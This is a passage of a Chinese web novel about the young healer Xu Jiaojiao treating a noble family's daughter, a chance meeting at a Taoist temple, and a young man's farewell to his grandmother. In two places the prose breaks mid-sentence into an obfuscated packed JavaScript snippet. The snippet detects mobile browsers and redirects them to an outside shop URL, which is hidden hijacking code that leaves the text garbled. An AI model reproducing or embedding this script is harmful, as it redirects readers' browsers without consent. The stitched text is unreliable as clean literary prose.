许娇娇心头一动,放下手中的戥子,上前一步:“民女便是。不知夫人有何贵干?” 妇人打量她片刻,眼中闪过一丝不易察觉的审视,随即露出得体的微笑:“老身姓周,在城南沈尚书第当差,奉我家夫人之命,特来请许娘子过府一叙。” “沈尚书第?”许娇娇一怔,旋即明了,这是沈家祖宅的敬称。老侯爷致仕荣归,门楣上悬的正是皇帝御赐的“尚书第”的匾额。 周管事含笑点头,言语间分寸拿捏得极好:“正是。许娘子可还记得,三年前元宵灯会上,曾救过一个突发急症的小娘子?那便是我家小娘子。我家夫人一直惦记着这份恩情,前些日子曾让李真人约见娘子,娘子应该不会忘记吧?那日奴家不在,听我家小娘子说,许小娘子年纪不大,医术却十分精湛,心下便记着了。今日得了这个差事,特来请许娘子过府,为我家小娘子诊看调理。车马已在门外候着了。 “原来是尚书第府上管事嬷嬷,”许娇娇听了妇人的话,心中很是惊讶,原来当日她救的那位小娘子家世竟如此煊赫。难怪前些日子,李真人曾带着她见了那位夫人,那夫人和小娘子穿着体面,气度不凡。李真人说那沈夫人是他的侄女,那么李真人家世恐怕也相当不错。 念头飞转间。她似乎又想起,听人说开国侯府上有个外甥女是贵妃娘娘。且家主沈老侯爷已致仕,听说虽已不在朝中,可门生故旧遍布,在菰城乃至整个江南道都颇有声望。 原来是尚书第啊!许娇娇恍然。 娇娇看向周管事,谨慎道:“承蒙沈夫人记挂,民女惶恐。只是民女年轻学浅,医术粗陋,恐难当此任。沈小娘子若有不适,何不清仁心堂的赵药师,或是济世堂的关大夫?他们都是菰城名医,医术远胜民女。” 周管事笑容不变:“许娘子过谦了。我家夫人既命老身来请,自是信得过娘子的医术。况且——”她顿了顿,声音压低了些,“我家小娘子这病症有些特殊,这些年也请过不少大夫,总不见根除。听闻许娘子制药颇有巧思,尤擅调理,这才想请娘子去看看。诊金方面,沈府绝不会亏待。” 话说到这份上,再推辞便是不识抬举了。 许娇娇沉吟片刻,道:“既如此,民女恭敬不如从命。只是需容民女稍作准备,带上药箱。” “娘子请便。” 许娇娇转身去了后院,静尘已听见前堂动静,跟了过来,眼中满是担忧:“娇杏,你真要去?” “尚书第府上相邀,推脱不得。”许娇娇低声道,“况且,这是个机会。若能与如此煊赫的人家交好,对咱们有益无害。” 静尘知道她说得在理,可还是不安:“我陪你去。” “不用。”许娇娇摇头,“沈府既只请我一人,你便在家等着。我去去就回,不会耽搁太久。”她顿了顿,“若我申时未归,你便去铺子找张伯。” 静尘用力点头:“好,你千万小心。” 许娇娇收拾好药箱——里头除了常用的银针、艾绒、止血药,还带了几瓶自制的成药:通窍醒神丸、安神散、健脾丸。想了想,又把李真人送的那套骨针也带上。 走出铺子时,周管事已候在车边,亲自为她打起车帘。 马车内布置简洁雅致,铺着软垫,角落里放着一个小小的香炉,燃着清淡的檀香。许娇娇坐定,周管事便在车辕上坐好,吩咐车夫启程。 马车辘辘行驶在青石板路上,风铎声清脆而有节奏。许娇娇透过车窗缝隙往外看,街道、行人、商铺一一掠过。车行的方向是往城东,那里是菰城达官显贵聚居之处。 约莫行了两炷香时间,马车在一座府邸前停下。 许娇娇下了车,抬头望去。朱漆大门上悬着黑底金字的大匾上,书着规整的楷体大字“尚书第”,字体苍劲有力。门前一对石狮,威风凛凛。台阶扫得干干净净,连片落叶也无。 周管事引着她从侧门入府。穿过一道影壁,便是一座精巧的园林。假山叠石,曲水流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222047|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觞,廊桥蜿蜒,处处透着江南园林的雅致。时值春日,园中花开正盛,桃红柳绿,蝶舞蜂忙,美不胜收。 许娇娇暗暗赞叹,果然是大户人家,处处透着精致。过了月洞门,沿游廊走一炷香,转过一座假山,再过一道拱桥,便到了一处清幽的院落。 院门上题着“沁芳斋”三字。院内几丛翠竹,一架紫藤,正房前种着两株海棠,此时花开如霞。 周管事在正房门前停下,轻声回禀:“夫人,许娘子到了。” 门内传来一个温和的女声:“请进来。” 许娇娇深吸一口气,定了定神,这才迈步进屋。 屋内陈设清雅,紫檀木的家具,多宝阁上摆着些书籍、瓷器。正中坐着一位四十来岁的妇人,穿着沉香色褙子,头戴珠翠,面容慈和,眼神温润,正是沈夫人。她身侧站着个十五六岁的少女许小娘子。只是面色仍有些苍白,身形也单薄。 许娇娇垂首行礼:“民女许娇杏,见过沈夫人、沈娘子。” 沈夫人含笑抬手:“许娘子不必多礼。快请坐。”又对身旁的丫鬟道,“看茶。” 许娇娇依言在下首的绣墩上坐定,接过丫鬟递来的茶放在茶几上。 沈夫人打量她片刻,缓缓开口:“许娘子,三年前你曾救小女于危难。前些时日,我让阿叔引见娘子,感谢娘子的救命之恩。当时我们娘俩与娘子打了个照面,未曾详询,只道娘子参加了医药鉴别会,当时匆忙未曾相约,阿叔走时,曾言,若小女有恙,当寻娘子问诊,阿叔说娘子对妇人之症候有独到见解。今日冒昧相邀,望娘子勿怪。” “沈夫人言重了。医者本分,不敢当恩情二字。” “你不必过谦。”沈夫人道,“那夜情形危急,若非你处置得当,小女恐怕凶多吉少。这些年,我们也请过不少大夫为小女调理,可总难断根。前些日子听阿叔你在医药鉴别会上表现出众,连王太医都当众嘉许,便想着请你来看看。” 许娇娇恭敬道:“民女定当尽力。只是学艺不精,若有疏漏之处,还望夫人海涵。” 沈夫人温声道:“许娘子不必有压力。先为小女诊脉吧。” 丫鬟搬来绣墩,请许娇娇到沈小姐身旁。沈小姐伸出手腕,袖口滑落,露出一截纤细的手腕,肤色白皙得近乎透明。 许娇娇净了手,三指搭上腕脉,凝神细诊。 脉象细弱,如游丝,时有时无。又请沈小姐伸舌查看——舌质淡,苔薄白。 “小姐平日可有气短、乏力、畏寒之症?”许娇娇轻声问。 沈小姐点头,声音细弱:“有的。总是觉得气不够用,走几步路便喘。夜里手脚冰凉,夏日里也不敢用冰。” “饮食如何?” “胃口不佳,吃不多,吃多了便腹胀。” 许娇娇心中有数了。这病症,是先天不足,后天失养,导致的气血两虚,脾肾阳虚。病根深,非一日可愈。 她收回手,沉吟片刻,才开口道:“小姐这症,是胎里带来的不足,加之后天调理不当,以致气血亏虚,脾肾阳虚。需温补脾肾,益气养血,缓缓图之,急不得。” 夫人眼中都露出讶异。这番话,与之前几位名医的诊断不谋而合,可从一个十三四岁的小娘子口中说出,还是让人意外。 “可有治法?”沈夫人急切问。 “有。”许娇娇点头,“需内服外调相结合。内服温阳益气、健脾养血的汤药;外可配合艾灸温通经络。饮食也需注意,宜温宜补,忌生冷寒凉。” 她顿了顿,又道:“民女可先开个方子,夫人可请其他大夫参详,若无异议,再服用不迟。” 这般谨慎,更让沈夫人高看一眼。 沈夫人颔首:“许娘子考虑周全。既如此,便请开方吧。” 丫鬟捧来文房四宝。许娇娇提笔,斟酌着写下:黄芪五钱、党参三钱、白术三钱、当归二钱、熟地黄三钱、肉桂一钱、附子一钱、炙甘草二钱、生姜三片、大枣五枚。 写罢,又注明:附子需先煎半个时辰,去其毒性,再入他药同煎。每日一剂,早晚分服。 沈夫人接过方子细看,眼中赞赏之色更浓。这方子配伍严谨,药量斟酌得当,更难得的是连附子先煎这样的细节都标注清楚,足见用心。 “许娘子果然名不虚传。”她放下方子,温声道,“这方子,我看可行。只是不知,除了服药,可还有其他调理之法?” 许娇娇想了想,道:“艾灸可配合使用。取穴关元、气海、足三里,每日灸一刻钟,温阳益气。另外,民女自制了一种健脾丸,药性温和,可作平日调理之用。” 她从药箱里取出一瓶健脾丸,呈上去:“这是用党参、白术、茯苓、山药等药制成,每日早晚各服两粒,饭前用温水送下。” 沈夫人接过,拔开塞子闻了闻,药香清正,丸药圆润均匀,心中更添好感。 “有劳许娘子费心。”她笑道,“今日诊金,定不会亏待。” “多谢夫人,医者本分。” “许娘子如今在何处落脚?”沈夫人语气温婉,和许娇娇说上了家常。 许娇娇轻声细语:“民女如今在柳枝巷赁了处小院,与两位师姐同住。” 沈夫人点头。“听说你在张记坐诊。”沈夫人沉吟,“那张之和为人厚道,在他那儿坐诊,倒也不错。”她顿了顿,“若日后有什么难处,可来府上寻我。在菰城这一亩三分地,府上还能说得上几句话。” 许娇娇忙起身,郑重行了一礼:“民女多谢夫人关照。” 又说了会儿话,沈夫人命周管事送许娇娇出府。临行前,硬是让丫鬟塞给她一个沉甸甸的荷包,说是一点心意。 马车载着许娇娇往回走时,日头已偏西。她坐在车内,握着那个荷包,心中百感交集。 曾始于的一点恩惠,竟让侯府夫人记着,可见有时候善意的帮助,会不自觉为自己多了一条福报。知恩不图报,但有时候却不得不借助于恩情为自己脱困。 37. 第37章 纯阳宫偶遇 回到柳枝巷时,静尘和静心早已等在堂屋里,见她平安归来,这才松了口气。 许娇娇将今日之事细细说了,又将沈夫人给的荷包打开。里头是五两银子,还有一支成色不错的银簪。 “这银簪子真不错,”静心面露喜色,“娇杏,你带着正好。” “确实不错,做工精良。”许娇娇将银簪子交给静尘,“师姐先收起。往后给你和静心留着当嫁妆。” “阿弥陀佛,你个小娘子,乱说什么。”静尘面色大红,“我一个出家之人,可不能乱说。” “师姐,你都不做尼姑了,如今头发也长出来不少,还出家人出家人的!放心,往后,妹妹定给你们寻一个好婆家把你们嫁的风风光光的。” “娇杏,休得胡言。”静尘羞得满脸通红跑了出去。 “师姐害羞了。”静心捂着脸也笑的满脸通红。 “这银子也不能乱花,咱们攒着,日后总有用处。”看着静尘跑了出去,许娇娇笑着摇了摇头,“这有什么可难为情的,你说是吧!” 正说着,门外传来敲门声。 静心去开门,竟是张记铺子的陈伙计,手里提着一个食盒,脸上带着笑:“许姑娘,东家让我送些饭菜过来,说你们今日辛苦了。” 食盒里是四样菜,还有一壶热汤,显然是王氏特意准备的。 张东家一家,尤其是王氏,善良慈爱,犹如母亲般照顾她们三人。许娇娇心里充满了感激。 ...... 沈尚书第,沁芳斋。 时近六月,江南的梅雨如约而至。 沈府沁芳斋内,却难得有了一方晴暖。连日的阴雨暂歇,午后的阳光透过雕花窗棂,在青砖地上投下斑驳的光影。窗下那盆建兰开了,素白的花瓣在光里几乎透明,幽幽地吐着香气。 沈淑宁倚在临窗的榻上,身上搭着条杏子红的薄绸被,手里捧着卷书,却许久未翻一页。她今日气色好了许多,脸颊透出淡淡的红晕,不再似从前那般苍白得吓人。自从服了许娇娇开的方子,又每日按她教的法子艾灸、服用健脾丸,这些时日以来,身子竟一日比一日轻快。 “娘子今日可要起来走走?”丫鬟芙蕖在一旁轻声问。 沈淑宁放下书卷,点点头。芙蕖忙扶她起身,丹桂取来件月白色绣折枝梅花的褙子为她披上。 主仆三人缓步出了房门,在廊下站着。园中花木经了雨水,绿得发亮。海棠谢了,石榴却开了,火红的花朵在碧叶间灼灼地烧着。檐角的风铎被风吹动,发出清越的叮咚声。 “这雨停得正是时候。”沈淑宁深吸了一口雨后清新的空气,唇角微扬,“总觉得……身子松快多了。” 芙蕖笑道:“那位许娘子开的药确是管用。夫人昨日还说,要再请她来复诊呢。” 正说着,丹桂从外头进来,脸上带着笑,压低声音道:“娘子,打听到了。” 沈淑宁转头看她。 丹桂凑近些:“裴家郎君,前日和大郎君一道,往何山之阳的道观访友去了。” “何山纯阳宫?”沈淑宁蹙起眉,“这个时节……梅雨未歇,山路湿滑,去访什么友?” “奴婢是从大郎君跟前的雁书那儿听来的。”丹桂又补充道,“说是一早就动身了,怕是会在山上住一两日。” 沈淑宁默然片刻,目光望向园中那架开得正盛的紫藤。淡紫的花穗垂下来,在风里轻轻摇晃。 裴表哥…… 三个字在心里转了一圈,终究没有说出口。 她转身回屋,步子却比出来时轻快了些。 何山,纯阳宫。金盖山脚。 晨雾还未散尽,乳白色的霭气低低地压在林梢,将山峦的轮廓晕染得柔和而朦胧。石板路被夜雨洗得泛出青光,湿漉漉的,映着天光。空气里弥漫着草木的清气,混着泥土微腥的气息,一阵阵漫进车帷。 一辆黑漆平顶马车停在山道入口处。车帘掀起,裴宴弯身下车,石青色的袍角在晨风中轻拂。他抬头望了望笼在雾霭里的山峦,眼神沉静。 另一辆马车上,沈大郎君沈谦也下来了,一边整理着衣袖一边笑道:“这天气访道,倒应景。山色空蒙雨亦奇,说的便是这般了。” 裴宴微微一笑,没有接话。 两人将马车留在山下,只带了两个贴身随从,沿着石阶往山上走。 石阶年代久远,边缘已被岁月磨得圆润。阶缝里生出茸茸的苔藓,碧绿湿润,滑得很,需得仔细下脚。四下极静,只闻得远处涧水淙淙,近处竹叶尖偶尔坠下一滴积雨,“啪嗒”一声,清泠泠的,反倒衬得山林愈发幽寂。 沈谦边走边道:“这纯阳宫我幼时随父亲来过一次,那时年纪小,只记得观里的梅树老得很,开起花来云蒸霞蔚的。如今这时节,怕是无花可赏了。” “无花有叶,无果有枝。”裴宴淡淡道,“表兄若只见花时绚烂,倒也不算真懂梅花。” 沈谦一怔,随即抚掌:“妙!这话该记下来,回头说与清尘道长听。” 转过一道弯,雾忽地薄了些。眼前现出一带粉墙,墙头探出几枝老绿的梅树枝干,铁灰色的虬枝在雾里舒展着,叶片被雨水洗得油亮。并无巍峨山门,只一个月洞门,门额上“纯阳宫”三字是隶书,漆色斑驳,浑朴得几乎要隐进墙里。 一位中年道士已候在门侧。靛蓝道袍洗得微微发白,脚下一双芒鞋沾着泥痕,见他们近前,单手稽首,声音平和如深潭静水:“裴檀越,沈檀越,家师在云巢堂相候。” 语调不高,却似将周遭的雨气都熨得平和了。 进得门内,景象豁然开朗。 观内果然不似寻常宫观那般轴线森严。殿宇随山势高下错落,回廊蜿蜒如带,将几处精舍、亭台与自然山石、泉水勾连成一片。雨水顺着黛瓦淌下,在阶前汇成细流,淙淙注入一方小池。池水清可见底,几尾红鲤悠然摆尾。 池边有亭,匾曰“泻碧”。亭中石桌石凳空寂,檐角正悬着一串将断未断的雨珠,晶亮亮的,欲滴未滴。 引路道士步履轻稳,芒鞋踏在湿漉漉的石板上,几乎无声。沈谦低声对裴宴道:“闻说此地祖师闵真人倡医世之说,不独修己,更求利济众生。看这格局,确有丘壑,无烟火气。” 裴宴点头,目光却被石壁上一处摩崖石刻吸引。那是“古梅花心”四字,字迹漫漶,笔画似与山石同呼吸,浑然一体。 云巢堂并非宏阔殿堂,更像一座轩敞的山中书斋。 堂前古梅数株,此时无花,唯见铁灰色的虬枝舒展,在薄雾中显出苍劲的骨相。一位清癯老道立于檐下,须发如雪,面容却红润饱满,眼神温煦而明澈,正是观主清尘道长。 见礼入堂,室内陈设简朴。北壁悬吕祖像,笔意超逸;两侧书架上垒满典籍,纸色苍黄;窗下长案设着文房,一方砚台半池残墨,镇纸是块天然山石。一股清幽的松墨与旧纸香静静弥漫,混着窗外飘来的草木清气,沁人心脾。 “山居简陋,有劳二位冒雨莅临。”清尘道长亲自沏茶。泉水是新汲的“白云泉”,茶叶是观后自种的野茶。白瓷盏里汤色清碧,入口微涩,回味却甘,喉间一缕清凉久久不散。 “五月访梅,只见青叶,未免憾事。”沈谦啜了口茶,笑道。 “檀越着相了。”道长莞尔,将茶盏轻轻放下,“花时绚烂,固然可喜。然此时生机内蕴,枝叶舒张,承雨接露,方是根本。道亦如此,热闹处易见,寂寥处难寻。” 语声从容,如述家常。 沈谦此来,是为请教一段丹经疑义。他自袖中取出一卷手抄的经书,翻开某页,指着几行字恭敬道:“此句‘心死神活’,晚生参详多日,总觉隔着一层。心若死,神何以活?若心未死,又何谈神活?” 清尘道长听他陈述,并不即刻作答。只起身从架上取出一册旧抄本,纸色苍黄,边角磨损。他翻开页面,指着一行小字示意沈谦看。 沈谦凑近,见是闵一得真人的旁批:“心死神活,非枯寂也,乃生机流转无碍。” 他正若有所思,道长又添一句,声音温和如檐下滴雨:“譬如此时梅枝,无花无果,似枯似寂,然汁液在皮下行流,生命活泼泼地。观内观外,莫不如是。” 闻听此言,在座的裴宴心头却一震。 恰是这时,他的目光无意间掠过月洞门外的石径。 一个女子正从山下徐步而来。 雨不知何时停了。 云破处,漏下一缕淡金色的阳光,斜斜照在堂前湿润的青石板上。水光映着天光,满室微明。窗外传来弟子扫去积水的声音,竹帚划过石面,沙沙的,格外安宁。 裴宴的目光定住了。 那女子穿着一身雨过天青色的素罗衣裙,颜色清淡得几乎融进山色雾霭里。裙裾在微湿的石阶上轻曳,步履却极稳,一步一步,从容不迫。乌发只松松绾了个髻,斜插一支寻常木簪,再无别饰。 然而那张脸—— 肤色是山泉养就般的莹润白皙,被雨后微凉的风一激,透出淡淡的红晕。双眸清亮如被雨水洗过的星子,顾盼间自有一股鲜活的生气。她像是惯走山路的,气息匀净,四下张望时眉眼微弯,唇角天然噙着三分笑意,通身透着山野般的灵秀清透,却又无半点粗陋之气。 是她。 元宵夜那个莽撞的野丫头,医药会上那个沉静的小娘子。 裴宴心头蓦地一跳。 几个月不见,她似乎变了,又似乎没变。眉眼长开了些,身量也高了点,可那股子从骨子里透出来的、与这山水相契的鲜活气,却越发鲜明。 她怎么会在此地? 许娇娇并未注意到堂内的目光。她正随王氏一行人缓缓上山。王氏今日来纯阳宫做道场,是为张记铺子祈福,也顺带答谢神明庇佑。许娇娇本不想出门,可王氏说这些日子大家都辛苦,也该散散心,又想着她从未来过何山,便硬拉了她来。 雨后山路湿滑,王氏年纪大了,走得慢。许娇娇搀扶着她,一边走一边留意脚下。纯阳宫的清幽景致让她心生欢喜——比起城里的人烟稠密,她还是更喜欢这样的山野之地。 “这地方真好。”王氏喘着气,在石阶旁歇脚,“难怪清尘道长名声在外,真是修行的好所在。” 许娇娇点头,目光落在远处那片古梅林上。无花的梅树在雾里静默着,却自有一股凛然的气度。 “许娘子也喜欢梅花?”同来的陈平家娘子笑着问。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222048|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“喜欢。”许娇娇轻声道,“梅花不只是开花时才美。你看这些枝干,经冬历春,风骨犹存。” 她说话时,目光清澈,神情认真。 堂内,裴宴和沈谦都听见了这句话。 裴宴望着窗外那个雨过天青色身影,心里那点微澜,忽然平复下来。清尘道长那句“生机内蕴”,此刻有了具象话。 “宴弟?”沈谦察觉他走神,低声唤道。 裴宴收回目光,神色已恢复如常:“失礼了。方才见那位小娘子品评梅树,颇有见地。” 清尘道长也望向窗外,含笑道:“那位是张记生药铺张檀越的家眷。今日来做道场祈福的。”他顿了顿,“那位年轻些的小娘子,听说便是近日在菰城颇有名声的许娘子。” 裴宴心中微跳,面上却只淡淡道:“原来如此。” “远看犹如画中仙。”沈谦摇着折扇叹息。 谈话继续。清尘道长又为二人解了几处疑义,言语深入浅出,每句话都似有深意,却又说得平实。沈谦在一旁听着,时而点头,时而沉思。 约莫过了半个时辰,道童来报,道场已准备妥当。王氏一行人被引往正殿。 裴宴二人起身告辞。清尘道长送至云巢堂门口,单手稽首:“二位檀越慢行。山路湿滑,小心脚下。” 下山时,雾已散尽。阳光彻底破开云层,将山林照得一片清亮。石阶上的水渍渐渐干了,只留下一道道深色的痕迹。 在山门处,他们又与许娇娇一行人遇上了。 王氏认得沈谦,忙上前行礼:“沈大郎君安好。” 沈谦含笑还礼:“张夫人也来进香?” “是,铺子里做个小道场。”王氏说着,拉过许娇娇,“这是铺子里的许娘子,医术很好。” 许娇娇垂首行礼,姿态恭谨,并未多看裴宴一眼。 裴宴却在她抬眼那一瞬,捕捉到了她眸中一闪而过的讶异——她认出他了。 然而她什么也没说,只安静地退到王氏身后,如寻常小娘子般低眉顺目。 沈谦与王氏寒暄几句,便告辞下山。裴宴随在他身侧,经过许娇娇身边时,脚步未停,目光却在她脸上停留了一瞬。 四目相对,不过刹那。 她眼里没有惊慌,没有躲闪,只有一片沉静的坦然。仿佛元宵夜那个揪着他衣领趴在他背上的野丫头,清风楼前那个看起来单薄可怜的小娘子,都与眼前这个沉静的女子无关。 裴宴忽然觉得,还是那个野丫头好,今日的她让他觉得异常陌生,一种无法言说的失落浮上心头。 装腔作势。裴宴心头浮现出四个字。 马车驶离山脚时,他不由掀开车帘,回头望了一眼。 纯阳宫的粉墙隐在绿树丛中,只露出檐角一片黛瓦。山道上已空无一人,唯有风过林梢,沙沙作响。 “那位许娘子,就是前些日子在医药会上得了王太医嘉许的那位?”沈谦忽然问。 裴宴放下车帘:“应是。” “看着年纪真小。”沈谦感慨,“听说制药的手艺却老道,连周行老都夸。可惜是个女子,若是个男子,前途不可限量。” 裴宴没有接话。 马车辘辘行驶在归途上,车厢内一时寂静。他闭上眼,脑海里却浮现出那双清亮的眼睛,还有那句“梅花不只是开花时才美”。 生机内蕴。 他忽然有些明白清尘道长的意思了。 回到柳枝巷时,已是申时末。 夕阳将巷子里的槐树影子拉得老长,投在青石板路上,斑斑驳驳的。家家户户的烟囱里冒出炊烟,空气里飘着饭菜的香气。 许娇娇推开小院的门,旺财立刻摇着尾巴扑上来,绕着她打转。 “回来了?”静尘从厨房探出头,手里还拿着锅铲,“道场做得顺利么?” “顺利。”许娇娇放下随身的小包袱,走到井边打水洗手,“纯阳宫景致真好,清幽得很。清尘道长一看就是有道行的。” 静心从堂屋里出来,递给她一块布巾:“娇杏,今日可有什么趣事?” 许娇娇接过布巾擦手,动作顿了顿。 趣事? 她想起山门处那一瞥。石青色衣袍的少年,眉眼依旧清俊锐利,看她的眼神却似乎与从前不同了——少了些审视与倨傲,多了些……她说不清的东西。 还有他身边那位沈大郎君,想来便是沈淑宁的兄长了。沈府果然家世不凡,连结交的朋友都气度非凡。 “没什么特别的。”她最终只是摇摇头,“就是看了些风景,听了会儿经。” 静尘不疑有他,转身回厨房继续炒菜。静心则拉着她讲今日街坊间的趣闻——隔壁刘寡妇的儿子在学堂里得了夫子夸奖,前街那家绸缎庄进了批新料子,花色鲜亮得很…… 许娇娇听着,唇角不自觉地扬起。 这样平凡而安稳的日子,正是她想要的。 晚饭后,她照例在灯下研读医书。李真人留下的脉案笔记已翻了大半,每看一遍都有新的体会。今日在纯阳宫,听了几句道长讲经,虽非医理,却莫名觉得与医道有相通之处。 “医者意也”,李真人常说的这句话,她似乎又懂了一点。 38. 第38章 裴宴的心思 沈府,寿安堂,是沈老夫人颐养天年的院落。 五进的院子,不算阔朗,却处处透着世家大族沉淀下来的雍容。抄手游廊的朱漆柱子刚重新漆过,鲜亮却不扎眼。廊下悬着一排兰花,正值花期,幽香细细地弥散在晨间的空气里。 裴宴穿过月洞门时,晨光正斜斜地照在影壁的砖雕上。那是幅“松鹤延年”图,鹤羽的纹理、松针的层叠都雕得极精细,在光里泛着温润的光泽。 他在影壁前略停了停,理了理石青色杭绸直裰的衣袖。今日是来向老夫人辞行的,在菰城盘桓了月余,京中已有书信来催。 正要举步,身后传来细碎的脚步声。 “表哥。” 声音清柔,带着少女特有的怯意。 裴宴转身。沈淑宁正站在三步外,穿着一身藕荷色绣缠枝玉兰的褙子,头发梳成双鬟,簪着两支珍珠小簪。晨光映在她脸上,能看见细密的绒毛,脸色比前些日子红润了些,只是眼下仍有些淡淡的青影。 她上前福了一礼:“表哥安好。” 裴宴颔首:“表妹好。” 两人便一前一后往正屋去。沈淑宁落后半步,脚步很轻,裙裾几乎不发出声音。裴宴能感觉到她的目光落在自己背上,带着小心翼翼的打量。 正屋里已有了人。 沈老夫人坐在上首的紫檀木圈椅里,穿着沉香色五福捧寿纹的褙子,头发梳得一丝不乱,簪着赤金点翠的抹额。虽已年过六旬,眼神却依旧清明,透着世家主母的威严与慈和。 下首坐着沈老侯爷沈钧。老爷子致仕荣归后,愈发清瘦,一把花白胡子垂到胸前,穿着一身半旧的栗色道袍,手里捻着串沉香木念珠,正闭目养神。他常年与三五好友谈玄论道,有时干脆住在城外的道观里,今日难得在府中。 再往下,是沈家老二沈明——沈淑宁的父亲。他是庶子,中举后无心仕途,便留在菰城打理祖产,兼任族中族长。四十来岁的年纪,面容温厚,眼神里却透着精明的光。此刻正低声与妻子李氏说着什么。 李氏便是沈淑宁的母亲,出身江南世家李家,管家理事是一把好手。今日穿着一身鸦青色织金褙子,头发梳得油光水滑,插着赤金嵌宝的掩鬓,端坐在那里,通身透着当家主母的利落与严整。 屋角还站着几个年轻些的公子,还有沈淑宁的几个堂姊妹,都规规矩矩地垂手侍立。 裴宴与沈淑宁上前,恭敬行礼。 “外祖母安。” “祖母安。” 异口同声。 老夫人脸上的皱纹舒展开来,露出慈爱的笑:“好,好,快起来。”她的目光不自觉落在裴宴身上,“宴哥儿今日这身打扮精神。是要出门?” “孙儿是来辞行的。”裴宴直起身,语气恭谨,“在菰城叨扰月余,京中父亲已有书信来催,明日便该启程回京了。” 老夫人的笑容凝在嘴角,眼里那点光倏地黯了下去,像被风吹熄的灯烛。她嘴唇动了动,没发出声音,只是缓缓伸出手——那手在半空停了片刻,才轻轻招了招。 “来……到外祖母这儿来。” 裴宴上前。老夫人握住他的手,握得很紧,指尖冰凉。 “这么快……”她声音发颤,眼睛一眨不眨地看着他,像要从这张年轻的脸上看出谁的影子,“前两年你来,都要住到秋深……外祖母总想着,多一日也好……” 她忽然说不下去了,低下头,用另一只手轻轻摩挲着裴宴的手背。那里有一道浅浅的旧疤,是幼时顽皮留下的。 “瘦了。”她终于抬起眼,眼眶通红,“京城……是不是吃得不好?睡得不安稳?”话一出口,眼泪就滚了下来,“你母亲在时,最怕你吃不饱……她若看见……” 她猛地停住,深深吸了口气,把哽咽压回去,可声音还是抖的:“你姐姐在宫里,娘家人见一面都难……外祖母老了,就剩下你……” 眼泪又落下来,滴在两人交握的手上。 裴宴喉头发紧,慢慢跪下来,额头轻轻抵着老夫人膝头:“外祖母……” “要好好的。”老夫人抚着他的头发,一遍又一遍,“一定要好好的。路上别赶夜路,到了京城就捎信来……天凉要知道添衣,读书累了就歇歇……外祖母什么都不求,只求你平平安安的……” 每一句叮嘱都浸着泪水,沉甸甸的。 沈老侯爷这时睁开眼,看着老妻颤抖的肩,看着外孙伏低的背影,沉默良久,才缓缓开口:“回去告诉你父亲……江南的春茶,我给他留了最好的。” 他的声音很稳,可放在膝上的手,却慢慢攥紧了。 裴宴抬起头,眼睛也是红的:“孙儿……记住了。” “母亲,”李氏见状,忙上前两步,柔声劝慰,她身后的几位年轻小娘子也跟着轻声附和,“宴哥儿如今正在御前行走,不像原先,是个清闲人,这是喜事。您这般伤心,宴哥儿心里该更不好受了,路上也难安。” 沈谦也适时笑着凑近,语气轻松:“祖母放心,宴弟这回在菰城,可是把城里城外的好去处都逛遍了。连西郊最偏的芦苇荡,南山上最难爬的野径,他都摸熟了。下回再来,怕是我这做向导的,都寻不出新花样啦!” 屋内凝重的气氛被这番玩笑话搅动,众人脸上都露出些笑意。几个年纪小些的堂姊妹偷偷抬眼打量裴宴,又飞快低下头,耳根却悄悄染上薄红。 沈淑宁静静站在母亲身侧,垂着眼,指尖无意识地绞着素绢帕子。他要走了……明日就走。这一个多月来,虽只在晨昏定省时远远见得几面,说过的话加起来不过寥寥数句,可知道他就住在府里,住在离她院落不算太远的客院,晨起读书,暮间习剑,心里便莫名有一份安稳的依托。 如今,这份依托也要被抽走了。 她忍不住抬眼,极快地瞥向那个身影。少年侧身立在光影交界处,熹微的晨光透过窗棂,恰好在他挺直的鼻梁上投下一道清晰的明暗界线。他正微倾着身,专注聆听外祖母哽咽的叮咛,侧脸沉静,唇角维持着恰到好处的、温润的弧度,既不过分亲热,也不显得冷淡。 永远是这样。礼貌,周全,无可挑剔,仿佛一切都照着最合宜的尺规行事。却也正因为这份无可挑剔,在那温和的表象之下,总像隔着一层看不见的、透不过的琉璃罩子。 她收回目光,指尖将帕子绞得更紧了些。那帕子上绣着的几瓣杏花,针脚细密,此刻却显得有些乱了。 “宁儿。”李氏忽然轻声唤她。 沈淑宁一惊,忙收回目光:“母亲。” “发什么呆?”王氏看她一眼,“去给你表哥斟茶。” “是。” 沈淑宁走到桌边,执起青瓷茶壶。手有些抖,壶嘴磕在杯沿上,发出清脆的声响。她定了定神,稳稳斟了七分满,双手捧给裴宴。 “表哥请用茶。” 裴宴接过:“有劳表妹。” 指尖短暂相触。沈淑宁像被烫到般缩回手,脸腾地红了。 好在无人注意。老夫人正拉着裴宴说话,沈明在与老侯爷低声商议族中事务,李氏在嘱咐丫鬟午膳的菜式。 沈淑宁退回母亲身侧,心跳如鼓。方才那一触,她感觉到裴宴指尖微凉,带着习武之人特有的粗糙。就那么一瞬,却让她整只手都酥麻了。 她在心里暗骂自己没出息。不过碰了一下,就这般失态。若是让母亲瞧见,定要斥责她不知礼数。 又说了会儿话,裴宴起身告辞。老夫人虽不舍,却也知留不住,只再三叮嘱路上小心。 沈谦几个堂兄弟一起去送裴宴,屋内气氛松快了些。几个堂姊妹小声说起话来,王氏起身去安排午膳,沈明另有要事也离开了。老侯爷又闭目养神去了。 接过孙女陪着老夫人说了会儿话,见她面露倦色,便也告退出来。 裴宴回到客院时,已近午时。 